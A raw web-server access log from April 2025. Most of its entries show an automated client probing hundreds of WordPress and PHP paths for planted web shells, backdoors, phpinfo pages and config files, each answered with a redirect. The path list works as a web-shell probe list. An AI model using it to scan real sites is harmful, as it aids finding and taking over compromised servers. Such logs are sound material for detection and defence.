/wp-admin/js/js/028V13/about.php7 HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:37 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:34:37 -0400] "GET /wp-admin/js/js/028V13/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:34:38 -0400] "GET /wp-admin/js/js/028V13/index.php HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:34:41 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:34:43 -0400] "GET /wp-content/languages/extractable-loader-head.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:34:46 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:34:48 -0400] "GET /wp-content/languages/JTSbQWWOm.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:34:50 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:34:52 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:34:55 -0400] "GET /wp-admin/css/SJUjVJmT.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:34:58 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:00 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:02 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:04 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:06 -0400] "GET /wp-content/uploads/111111111111.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:09 -0400] "GET /.well-known/new.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:11 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:14 -0400] "GET /wp-includes/blocks/site-tagline/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:17 -0400] "GET /plugins/content/jw_allvideos/jw_allvideos/tmpl/Framed/security.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:19 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:21 -0400] "GET /wp-content/themes/home/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:24 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:27 -0400] "GET /first.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:29 -0400] "GET /admin/ckeditor/plugins/iframe/dialogs/x.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:31 -0400] "GET /wp-admin/js/widgets/uqgipxck.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:33 -0400] "GET /cms/dypsmiwe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:36 -0400] "GET /wp-content/themes/home/dzfrpxrx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:40 -0400] "GET /.well-known/acme-challenge/mepejoia.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:42 -0400] "GET /wp-content/themes/ihwhdpzy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:44 -0400] "GET /wp-content/themes/home/cyfvqctx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:46 -0400] "GET /wp-content/plugins/zxjtzjpl.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:48 -0400] "GET /wp-content/plugins/pwnd/ixhnpcbs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:50 -0400] "GET /wp-content/plugins/pokvdpgz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:52 -0400] "GET /wp-content/plugins/pwnd/zjdlpouo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:54 -0400] "GET /wp-admin/network/pqnggkzn.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:56 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php%20 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:35:59 -0400] "GET /wp-content/uploads/gravity_forms/h/d/b/g/ppbpttxf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:01 -0400] "GET /wp-content/languages/themes/atomlib.php%20 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:03 -0400] "GET /.well-known/pki-validation/noorrtaq.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:05 -0400] "GET /.well-known/pki-validation/iiimxgqh.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:07 -0400] "GET /wp-content/languages/gcwsufzu.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:09 -0400] "GET /wp-includes/images/VINaMbFmq.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:11 -0400] "GET /wp-includes/images/zNGnIYet.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:13 -0400] "GET /wp-includes/images/nQMvNW.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:15 -0400] "GET /wp-includes/blocks/kGmqDxnjZ.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:17 -0400] "GET /wp-includes/blocks/nlXVudi.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:19 -0400] "GET /wp-includes/blocks/ZJSAkDd.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:21 -0400] "GET /wp-includes/blocks/KHCVLQGVpx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:23 -0400] "GET /wp-includes/images/sIVBNMyIII.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:25 -0400] "GET /.well-known/whizz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:28 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:31 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:33 -0400] "GET /wp-includes/vjgtd8LW.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:35 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:37 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:40 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:42 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:44 -0400] "GET /ws.php.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:45 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:47 -0400] "GET /zwos.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:49 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:51 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:53 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:54 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:56 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:36:59 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:01 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:03 -0400] "GET /wso-x569.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:05 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:07 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:09 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:11 -0400] "GET /wp-admin/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:13 -0400] "GET /wp-admin/css/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:15 -0400] "GET /wp-admin/images/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:17 -0400] "GET /wp-admin/includes/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:19 -0400] "GET /wp-admin/maint/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:21 -0400] "GET /wp-admin/network/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:23 -0400] "GET /wp-admin/user/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:25 -0400] "GET /wp-admin/404TVS/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:27 -0400] "GET /.well-known/pki-validation/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:29 -0400] "GET /.well-known/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:31 -0400] "GET /.well-known/acme-challenge/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:33 -0400] "GET /images/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:34 -0400] "GET /cache1/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:36 -0400] "GET /cc888f23/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:38 -0400] "GET /wp-content/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:40 -0400] "GET /wp-content/themes/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:42 -0400] "GET /wp-content/plugins/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:44 -0400] "GET /wp-content/uploads/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:45 -0400] "GET /wp-content/upgrades/fosil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:47 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:49 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:51 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:52 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:54 -0400] "GET /wp-includes/js/500.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:56 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:57 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:37:59 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:01 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:02 -0400] "GET /wp-includes/ID3/index.php/ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:04 -0400] "GET /wp-admin/images/atomlib.php/ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:06 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:07 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:09 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:38:10 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:38:11 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:38:12 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:38:15 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:16 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:18 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:38:20 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:38:20 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:21 -0400] "GET /.well-known/acme-challenge/classwithtostring.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:23 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 162.0.232.217 - - [27/Apr/2025:08:38:23 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 139.190.141.151 - - [27/Apr/2025:08:38:24 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:26 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:28 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:32 -0400] "GET /wp-admin/network/themes.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:34 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:35 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:37 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:40 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:43 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:45 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:47 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:48 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:50 -0400] "GET /wp-includes/images/zfcccjzoc.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:52 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:54 -0400] "GET /wp-admin/includes/SjgqtFaOQe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:56 -0400] "GET /wp-admin/css/colors/blue/xmlwriter_open_memory.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:57 -0400] "GET /wp-admin/css/HQpazW.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:38:59 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:00 -0400] "GET /wp-admin/images/uIVoN.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:02 -0400] "GET /images/indexmat_crea.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:04 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:05 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:07 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:08 -0400] "GET /wp-includes/ID3/EzXAWJ.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:10 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:11 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:13 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:14 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:16 -0400] "GET /wp-includes/customize/class-wp-customize-nav-menu.php?new HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:17 -0400] "GET /lib/phpinfo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:19 -0400] "GET /backend/helper/phpinfo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:21 -0400] "GET /test/develop/info.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:22 -0400] "GET /lara/develop/phpinfo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:23 -0400] "GET /laracasts/larabook/blob/master/app/config/database.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:25 -0400] "GET /agSearch/SQlite/main.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:26 -0400] "GET /bot/info.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:28 -0400] "GET /wp-content/plugins/pwnd/pwnd.php%20 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:29 -0400] "GET /wp-admin/includes/wBdCipudZv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:31 -0400] "GET /wp-admin/includes/sidebart.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:32 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:34 -0400] "GET /wp-content/uploads/ultimatemember/update.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:36 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:38 -0400] "GET /wp-admin/maint/rtakuj.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:40 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:41 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:43 -0400] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:44 -0400] "GET /wp-admin/includes/image-import.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:46 -0400] "GET /wp-admin/images/DeAzasQ.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:47 -0400] "GET /wp-admin/images/EPmNRYcT.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:48 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:50 -0400] "GET /wp-includes/widgets/class-wp-widget-recent.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:51 -0400] "GET /wp-admin/css/colors/ocean/QxczhicS52.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:53 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:54 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:55 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:57 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:39:58 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:40:00 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 